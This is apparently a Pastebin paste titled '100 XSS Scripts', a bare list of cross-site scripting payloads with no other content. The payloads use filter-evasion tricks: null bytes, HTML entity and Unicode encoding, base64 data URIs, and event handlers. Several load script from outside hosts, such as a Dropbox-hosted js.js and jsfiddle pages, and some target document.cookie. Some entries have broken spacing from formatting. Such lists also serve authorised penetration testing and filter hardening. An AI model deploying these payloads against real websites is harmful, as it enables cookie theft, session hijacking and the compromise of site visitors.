FlyFar

100 XSS Scripts

Feb 2nd, 2024
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.30 KB | Cybersecurity | 0 0
  1. 1) <iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00>
  2. 2) <svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
  3. 3) <input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
  4. 4) <sVg><scRipt %00>alert&lpar;1&rpar; {Opera}
  5. 5) <img/src=`%00` onerror=this.onerror=confirm(1)" />
  6. 6) <form><isindex formaction="javascript&colon;confirm(1)"
  7.  
  8. 7) <img src=`%00`&NewLine; onerror=alert(1)&NewLine;
  9.  
  10. 8) <script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
  11.  
  12. 9) <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
  13.  
  14. 10) <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEp Pg==">
  15.  
  16. 11) <script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/
  17.  
  18. 12) &#34;&#62;<h1/onmouseover='\u0061lert(1)'>%00
  19.  
  20. 13) <iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">
  21.  
  22. 14) <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
  23.  
  24. 15) <svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
  25.  
  26. 16) <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
  27.  
  28. 17) <meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
  29.  
  30. 18) <iframe src=javascript&colon;alert&lpar;document&period;lo cation&rpar;>
  31.  
  32. 19) <form><a href="javascript:\u0061lert&#x28;1&#x29;">X
  33.  
  34. 20) </script><img/*%00/src="worksinchrome&colon;prompt&#x28;1&#x29;"/%00*/onerror='eval(src)'>
  35.  
  36. 21) <img/ src=`~` onerror=prompt(1)>
  37.  
  38. 22) <form><iframe src="javascript&#58;alert(1)" ;>
  39.  
  40. 23) <a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgx KTwvc2NyaXB0Pg==" >X</a
  41.  
  42. 24) http://www.google<script .com>alert(document.location)</script
  43.  
  44. 25) <a href&#61;&#91;�&#93;"� onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a
  45.  
  46. 26) <img/src=@
  47. onerror = prompt('&#49;')
  48.  
  49. 27) <style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;
  50.  
  51. 28) <script ^__^>alert(String.fromCharCode(49))</script ^__^
  52.  
  53. 29) </style ><script :-(>/**/alert(document.location)/**/</script :-(
  54.  
  55. 30) �</form><input type&#61;"date" onfocus="alert(1)">
  56.  
  57. 31) <form><textarea
  58. onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x2 9;'>
  59.  
  60. 32) <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF1 1\u1450')/***/</script /***/
  61.  
  62. 33) <iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
  63.  
  64. 34) <a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;> X</a>
  65.  
  66. 35) <script ~~~>alert(0%0)</script ~~~>
  67.  
  68. 36) <style/onload=&lt;!-- &gt; alert &lpar;1&rpar;>
  69.  
  70. 37) <///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
  71.  
  72. 38) <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)
  73.  
  74. 39) &#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
  75.  
  76. 40)
  77. <blink/
  78. onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
  79.  
  80. 41) <marquee onstart='javascript:alert&#x28;1&#x29;'>^__^
  81.  
  82. 42) <div/style="width:expression(confirm(1))">X</div> {IE7}
  83.  
  84. 43) <iframe/%00/ src=javaSCRIPT&colon;alert(1)
  85.  
  86. 44) //<form/action=javascript&#x3A;alert&lpar;document&period; cookie&rpar;><input/type='submit'>//
  87.  
  88. 45) /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
  89.  
  90. 46) //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
  91.  
  92. 47) </font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>
  93.  
  94. 48) <a/href="javascript:
  95. javascriptrompt(1)"><input type="X">
  96.  
  97. 49) </plaintext\></|\><plaintext/onmouseover=prompt(1)
  98.  
  99. 50) </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&# x29; {Opera}
  100.  
  101. 51) <a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar; 1&rpar;"><button>
  102.  
  103. 52) <div onmouseover='alert&lpar;1&rpar;'>DIV</div>
  104.  
  105. 53) <iframe style="position:absolute;top:0;left:0;width:100%;h eight:100%" onmouseover="prompt(1)">
  106.  
  107. 54) <a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
  108.  
  109. 55) <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
  110.  
  111. 56) <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
  112.  
  113. 57) <var onmouseover="prompt(1)">On Mouse Over</var>
  114.  
  115. 58) <a href=javascript&colon;alert&lpar;document&period;c ookie&rpar;>Click Here</a>
  116.  
  117. 59) <img src="/" =_=" title="onerror='prompt(1)'">
  118.  
  119. 60) <%<!--'%><script>alert(1);</script -->
  120.  
  121. 61) <script src="data:text/javascript,alert(1)"></script>
  122.  
  123. 62) <iframe/src \/\/onload = prompt(1)
  124.  
  125. 63) <iframe/onreadystatechange=alert(1)
  126.  
  127. 64) <svg/onload=alert(1)
  128.  
  129. 65) <input value=<><iframe/src=javascript:confirm(1)
  130.  
  131. 66) <input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
  132.  
  133. 67) http://www.<script>alert(1)</script .com
  134.  
  135. 68) <iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;& Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewL ine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;& Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;& Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;& Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;& Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;& Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab ;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab ;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab ;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab ;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&Ne wLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab ;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab ;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab ;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Ta b;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Ta b;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Ta b;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29 ></iframe>
  136.  
  137. 69) <svg><script ?>alert(1)
  138.  
  139. 70) <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Ta b;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&T ab;1&Tab;%29></iframe>
  140.  
  141. 71) <img src=`xx:xx`onerror=alert(1)>
  142.  
  143. 72) <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
  144.  
  145. 73) <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
  146.  
  147. 74) <math><a xlink:href="//jsfiddle.net/t846h/">click
  148.  
  149. 75) <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
  150.  
  151. 76) <svg contentScriptType=text/vbs><script>MsgBox+1
  152.  
  153. 77) <a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
  154.  
  155. 78) <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074( '\u0061') worksinIE>
  156.  
  157. 79) <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
  158.  
  159. 80) <script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061 lert('\u0061')"></script a=\u0061 & /=%2F
  160.  
  161. 81) <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061 %6C%65%72%74(/XSS/)></script
  162.  
  163. 82) <object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
  164.  
  165. 83) <script>+-+-1-+-+alert(1)</script>
  166.  
  167. 84) <body/onload=&lt;!--&gt;&#10alert(1)>
  168.  
  169. 85) <script itworksinallbrowsers>/*<script* */alert(1)</script
  170.  
  171. 86) <img src ?itworksonchrome?\/onerror = alert(1)
  172.  
  173. 87) <svg><script>//&NewLine;confirm(1);</script </svg>
  174.  
  175. 88) <svg><script onlypossibleinopera:-)> alert(1)
  176.  
  177. 89) <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
  178.  
  179. 90) <script x> alert(1) </script 1=2
  180.  
  181. 91) <div/onmouseover='alert(1)'> style="x:">
  182.  
  183. 92) <--`<img/src=` onerror=alert(1)> --!>
  184.  
  185. 93) <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070& #x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074; (1)></script>
  186.  
  187. 94) <div style="position:absolute;top:0;left:0;width:100%;h eight:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
  188.  
  189. 95) "><img src=x onerror=window.open('https://www.google.com/');>
  190.  
  191. 96) <form><button formaction=javascript&colon;alert(1)>CLICKME
  192.  
  193. 97) <math><a xlink:href="//jsfiddle.net/t846h/">click
  194.  
  195. 98) <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
  196.  
  197. 99) <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31 %29%3C%2F%73%63%72%69%70%74%3E"></iframe>
  198.  
  199. 100) <a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32& #115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47& #47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#1 05&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111 &#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105& #112&#116&#62&#8203">Click Me</a>
Tags: Scripts XSS
Add Comment
Please, Sign In to add comment